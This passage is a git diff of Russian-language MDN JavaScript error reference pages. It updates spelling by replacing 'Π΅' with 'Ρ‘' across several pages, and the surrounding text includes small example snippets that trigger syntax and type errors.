-<p>Если Π²Ρ‹ создаСтС ΠΊΠ»ΡŽΡ‡ свойства ΠΈΠ· выраТСния, Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС имя свойства Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ вычислСно:</p>
+<p>Если Π²Ρ‹ создаётС ΠΊΠ»ΡŽΡ‡ свойства ΠΈΠ· выраТСния, Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС имя свойства Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ вычислСно:</p>
<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' };
// SyntaxError: missing : after property id
diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
index 0d971440c7..0f3c17df1f 100644
--- a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
@@ -46,12 +46,12 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_bod
}
};</pre>
-<p>Π•Ρ‰Π΅ большС ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚ внСсти использованиС {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ</a> ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ… конструкций, Π³Π΄Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ большоС количСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… скобок:</p>
+<p>Π•Ρ‰Ρ‘ большС ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚ внСсти использованиС {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ</a> ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ… конструкций, Π³Π΄Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ большоС количСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… скобок:</p>
<pre class="brush: js example-bad">(function() { if (true) { return false; } );
</pre>
-<p>Π—Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ поиск ошибок ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ² отступы Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈΠ»ΠΈ расставив ΠΈΡ… ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ.</p>
+<p>Π—Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ΡŒ поиск ошибок ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ² отступы Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈΠ»ΠΈ расставив ΠΈΡ… ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ.</p>
<pre class="brush: js example-good">(function() {
if (true) {
diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
index 1b84367f61..fd7d0ca039 100644
--- a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argume
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Из-Π·Π° отсутствия ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ "+", JavaScript ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>log</code> просто <code>"PI: "</code>. Π’ этом случаС, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ скобки.</p>
+<p>Из-Π·Π° отсутствия ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΠΈ "+", JavaScript ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>log</code> просто <code>"PI: "</code>. Π’ этом случаС, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ скобки.</p>
<pre class="brush: js example-bad">console.log('PI: ' Math.PI);
// SyntaxError: missing ) after argument list
diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
index 9ac5f9cb6e..0791d91708 100644
--- a/files/ru/web/javascript/reference/errors/no_variable_name/index.html
+++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
@@ -35,7 +35,7 @@ SyntaxError: Unexpected token = (Chrome)</pre>
<h3 id="Π—Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅_ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_слова_Π½Π΅_ΠΌΠΎΠ³ΡƒΡ‚_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ_ΠΊΠ°ΠΊ_ΠΈΠΌΠ΅Π½Π°_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">Π—Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h3>
-<p>Π•ΡΡ‚ΡŒ нСсколько ΠΈΠΌΠ΅Π½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_слова">Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ словами</a>. Π˜Ρ… нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π£Π²Ρ‹ :(</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько ΠΈΠΌΡ‘Π½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_слова">Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ словами</a>. Π˜Ρ… нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π£Π²Ρ‹ :(</p>
<pre class="brush: js example-bad">var debugger = "whoop";
// SyntaxError: missing variable name
diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
index b298844d17..9f932a969a 100644
--- a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
+++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
@@ -1,6 +1,6 @@
---
title: >-
- TypeError: can't delete non-configurable array element(Π’ΠΈΠΏ ошибки:Π½Π΅ удаСтся
+ TypeError: can't delete non-configurable array element(Π’ΠΈΠΏ ошибки:Π½Π΅ удаётся
ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ настраиваСмый элСмСнт массива)
slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element
translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
@@ -9,8 +9,8 @@ translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
<h2 id="БообщСния">БообщСния</h2>
-<pre class="syntaxbox">TypeError: Π½Π΅ удаСтся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмый элСмСнт массива (Firefox)
-TypeError: Π½Π΅ удаСтся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство '2' ΠΈΠ· [массива ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²] (Chrome)
+<pre class="syntaxbox">TypeError: Π½Π΅ удаётся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмый элСмСнт массива (Firefox)
+TypeError: Π½Π΅ удаётся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство '2' ΠΈΠ· [массива ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²] (Chrome)
</pre>
<h2 id="Вип_ошибки">Вип ошибки</h2>
@@ -33,14 +33,14 @@ TypeError: Π½Π΅ удаСтся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойство '2' ΠΈΠ· [масΡ
<h3 id="НС_настраиваСмыС_свойства_созданныС_Object.defineProperty">НС настраиваСмыС свойства, созданныС <code>Object.defineProperty</code></h3>
-<p>The {{jsxref("Object.defineProperty()")}} создаСт Π½Π΅ настраиваСмыС свойства ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ ΠΊΠ°ΠΊ настраиваСмыС.</p>
+<p>The {{jsxref("Object.defineProperty()")}} создаёт Π½Π΅ настраиваСмыС свойства ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ ΠΊΠ°ΠΊ настраиваСмыС.</p>
<pre class="brush: js example-bad">var arr = [];
Object.defineProperty(arr, 0, {value: 0});
Object.defineProperty(arr, 1, {value: "1"});
arr.length = 1;
-// TypeError: Π½Π΅ удаСтся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмый элСмСнт массива
+// TypeError: Π½Π΅ удаётся ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ настраиваСмый элСмСнт массива
</pre>
<p>Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнты ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅, Ссли Π²Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ массив.</p>
diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
index 0b72d6c50f..1d1decf231 100644
--- a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
+++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -18,7 +18,7 @@ RangeError: Invalid code point {0} (Chrome)
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{jsxref("String.fromCodePoint()")}} Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли Π΅ΠΌΡƒ Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("NaN")}}, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число (-1), Π½Π΅Ρ†Π΅Π»ΠΎΠ΅ число (5.4) ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ 0x10FFFF (1114111).</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{jsxref("String.fromCodePoint()")}} Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли Π΅ΠΌΡƒ Π±Ρ‹Π»ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("NaN")}}, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ число (-1), Π½Π΅Ρ†Π΅Π»ΠΎΠ΅ число (5.4) ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°Π΅Ρ‚ 0x10FFFF (1114111).</p>
<p><a href="https://en.wikipedia.org/wiki/Code_point">Кодовая Ρ‚ΠΎΡ‡ΠΊΠ° (code point)</a> – это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΊΠΎΠ΄ΠΎΠ²ΠΎΠΌ пространствС Unicode, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Ρ†Π΅Π»Ρ‹Ρ… чисСл ΠΎΡ‚ <code>0</code> Π΄ΠΎ <code>0x10FFFF</code>.</p>
diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
index e9c3aafb29..68f9144938 100644
--- a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
+++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
@@ -71,7 +71,7 @@ var obj = new f;
<h3 id="Π’_ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΡΡ…_(Promises)">Π’ ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΡΡ… (Promises)</h3>
-<p>Π’ случаС, ΠΊΠΎΠ³Π΄Π° возвращаСтся Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ ΠΈΠ»ΠΈ Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½ΠΎΠ΅ ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ <em>new Promise(...)</em> ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌ.</p>
+<p>Π’ случаС, ΠΊΠΎΠ³Π΄Π° возвращаСтся Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ ΠΈΠ»ΠΈ Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½ΠΎΠ΅ ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ <em>new Promise(...)</em> ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌ.</p>
<p>Π­Ρ‚ΠΎ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ (<a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">конструктор ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΡ</a> вызываСтся Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ) ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>TypeError: this is not a constructor</code>:</p>
diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html
index 818c3c00d4..2169f9ffa3 100644
--- a/files/ru/web/javascript/reference/errors/not_defined/index.html
+++ b/files/ru/web/javascript/reference/errors/not_defined/index.html
@@ -36,7 +36,7 @@ foo.substring(1); // "ar"</pre>
<h3 id="ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ_Π·ΠΎΠ½Π°_доступности"><font><font>ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ Π·ΠΎΠ½Π° доступности</font></font></h3>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ доступна Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС исполнСния. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Functions">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>Β Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны ΠΈΠ· любой Ρ‚ΠΎΡ‡ΠΊΠΈ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ пСрСмСнная ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² области видимости самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ доступна Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ контСкстС исполнСния. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ <a href="/ru/docs/Web/JavaScript/Reference/Functions">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>Β Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны ΠΈΠ· любой Ρ‚ΠΎΡ‡ΠΊΠΈ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ пСрСмСнная ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² области видимости самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js example-bad">function numbers () {
var num1 = 2,
@@ -46,7 +46,7 @@ foo.substring(1); // "ar"</pre>
console.log(num1); // ReferenceError num1 is not defined.</pre>
-<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, функция ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈ функциям, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΒ Π² области видимости, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°.Β Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, функция, опрСдСлСнная Π² глобальной области ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² глобальном ΠΌΠ°ΡΡˆΡ‚Π°Π±Π΅.</p>
+<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, функция ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈ функциям, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΒ Π² области видимости, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°.Β Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, функция, опрСдСлённая Π² глобальной области ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСм ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² глобальном ΠΌΠ°ΡΡˆΡ‚Π°Π±Π΅.</p>
<pre class="brush: js example-good">var num1 = 2,
num2 = 3;
diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html
index 4675e8008f..2616d68809 100644
--- a/files/ru/web/javascript/reference/errors/read-only/index.html
+++ b/files/ru/web/javascript/reference/errors/read-only/index.html
@@ -10,8 +10,8 @@ translation_of: Web/JavaScript/Reference/Errors/Read-only
<pre class="syntaxbox">TypeError: Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойств Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния Π½Π΅ допускаСтся Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ (Edge)
TypeError: "x" доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния (Firefox)
TypeError: 0 доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния (Firefox)
-TypeError: Π½Π΅ удаСтся Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство "x" ΠΈΠ· #&lt;ΠΎΠ±ΡŠΠ΅ΠΊΡ‚&gt; (Chrome)
-TypeError: Π½Π΅ удаСтся Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство '0' [массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²] (Chrome)
+TypeError: Π½Π΅ удаётся Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство "x" ΠΈΠ· #&lt;ΠΎΠ±ΡŠΠ΅ΠΊΡ‚&gt; (Chrome)
+TypeError: Π½Π΅ удаётся Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния свойство '0' [массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²] (Chrome)
</pre>
<h2 id="Вип_ошибки">Вип ошибки</h2>
diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
index 781ea495ec..dbf5ae9fba 100644
--- a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
+++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
@@ -21,7 +21,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome)
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Одно ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ сначала использовано Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ объявлСно Π΅Ρ‰Π΅ Ρ€Π°Π· Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. Π’ JavaScript Π½Π΅ допустимо ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… области видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊΠ° ΠΏΡ€ΠΈ 